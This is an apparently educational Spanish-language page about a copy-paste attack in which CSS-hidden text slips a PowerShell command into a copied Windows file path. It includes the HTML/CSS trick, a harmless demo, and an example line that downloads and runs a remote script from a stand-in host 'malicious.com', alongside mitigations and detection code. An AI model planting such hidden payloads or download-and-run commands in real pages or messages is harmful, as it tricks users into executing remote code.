📋 Descripción del Ataque
Este ataque explota el comportamiento humano de copiar y pegar rutas de archivos. Utiliza texto oculto mediante CSS (font-size: 0px) para inyectar comandos maliciosos que el usuario no puede ver, pero que se copian junto con el texto visible.
👁️
Paso 1
Usuario ve ruta legítima
📋
Paso 2
Copia el texto
💀
Paso 3
Payload oculto se copia
⚡
Paso 4
Ejecución maliciosa
🚨 Demostración del Ataque
PELIGROSO EDUCATIVOLo que el usuario VE:
C:\Windows\System32\conhost.exe powershell.exe -NoExit -c "Write-Host 'Whoops, looks like you just ran some malicious code.'" # Shared\EmployeeTraining\PhishingAwareness-475.mp4
⚠️ ADVERTENCIA: Si pegas esto en la barra de direcciones de Windows Explorer y presionas Enter, se ejecutará PowerShell. En este ejemplo es inofensivo (solo muestra un mensaje), pero un atacante real podría ejecutar código malicioso.
🧪 Área de Prueba - Pega aquí para ver el payload oculto:
🔬 Análisis Técnico
El código HTML/CSS utilizado:
<div class="fake-path">
C:\<span class="hidden-payload">
Windows\System32\conhost.exe powershell.exe
-NoExit -c "Write-Host 'Payload'" #
</span>
Shared\EmployeeTraining\PhishingAwareness-475.mp4
</div>
/* CSS que oculta el payload */
.hidden-payload {
font-size: 0px;
line-height: 0;
color: transparent;
}
¿Por qué funciona?
- Font-size: 0px - El texto es invisible visualmente
- Selección de texto - Los navegadores copian TODO el contenido, incluso si tiene tamaño 0
- Windows Explorer - Acepta y ejecuta comandos en la barra de direcciones
- Comentario (#) - En PowerShell, convierte la ruta real en un comentario
🎯 Vectores de Ataque Reales
Escenarios donde esto podría usarse:
- 📧 Emails de phishing - "Accede a este documento importante..."
- 💬 Mensajes en Teams/Slack - Compañeros compartiendo "archivos"
- 📄 Documentación falsa - Wikis o portales internos comprometidos
- 🌐 Sitios web maliciosos - Tutoriales o foros infectados
- 📱 Redes sociales - Posts con "recursos útiles"
Ejemplo de payload real malicioso:
# Lo que realmente se podría ocultar:
C:\Windows\System32\conhost.exe powershell.exe -NoExit -WindowStyle Hidden -c "
IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')
" # Shared\Documents\Report.pdf
# Esto podría:
# - Descargar y ejecutar malware
# - Exfiltrar datos sensibles
# - Establecer persistencia
# - Robar credenciales
🛡️ Mitigaciones y Defensas
Para Usuarios:
- ✅ Siempre escribe las rutas manualmente cuando sea posible
- ✅ Pega el texto en Notepad primero para ver el contenido real
- ✅ Usa "Pegar como texto sin formato" (Ctrl+Shift+V)
- ✅ Verifica las rutas en un editor de texto antes de usarlas
- ✅ Desconfía de rutas que comienzan con comandos del sistema
Para Desarrolladores:
- ✅ Sanitizar contenido HTML en emails y formularios
- ✅ Implementar CSP (Content Security Policy) estrictas
- ✅ Usar filtros de texto que detecten font-size: 0
- ✅ Validar contenido antes de renderizar en el navegador
- ✅ Implementar detección de Unicode malicioso
Para Administradores de Sistemas:
- ✅ Aplicar políticas de ejecución de PowerShell restrictivas
- ✅ Deshabilitar ejecución de scripts desde la barra de Explorer
- ✅ Usar AppLocker o políticas de restricción de software
- ✅ Monitorear ejecuciones inusuales de conhost.exe/powershell.exe
- ✅ Implementar EDR para detectar comportamientos anómalos
- ✅ Capacitar a los usuarios sobre estos ataques
✅ Cómo Compartir Rutas de Forma Segura
SEGUROMétodo 1: Texto plano simple
C:\Shared\EmployeeTraining\PhishingAwareness-475.mp4
Método 2: Usar elementos de código seguros
C:\Shared\EmployeeTraining\PhishingAwareness-475.mp4
Método 3: Imagen o captura de pantalla
Las imágenes no permiten copiar texto, eliminando el riesgo
🔍 Herramientas de Detección
Script PowerShell para detectar este ataque:
# Detectar texto con font-size 0 en el clipboard
function Test-MaliciousClipboard {
$clipHtml = Get-Clipboard -Format Html
if ($clipHtml -match 'font-size:\s*0') {
Write-Warning "⚠️ ALERTA: Texto oculto detectado en el portapapeles!"
Write-Host "Contenido sospechoso encontrado."
return $true
}
return $false
}
# Ejecutar verificación
Test-MaliciousClipboard
Regex para detectar en HTML/CSS:
// JavaScript
const detectHiddenText = (html) => {
const patterns = [
/font-size:\s*0/gi,
/font-size:\s*0px/gi,
/line-height:\s*0/gi,
/color:\s*transparent/gi,
/opacity:\s*0/gi
];
return patterns.some(pattern => pattern.test(html));
};
📚 Referencias y Recursos
- MITRE ATT&CK: T1204 (User Execution)
- CWE-451: User Interface (UI) Misrepresentation of Critical Information
- OWASP: A07:2021 – Identification and Authentication Failures
💡 Para más información: Este tipo de ataque está relacionado con técnicas de "Homograph Attack" y "Unicode Spoofing". Busca estos términos para más contexto sobre ataques similares.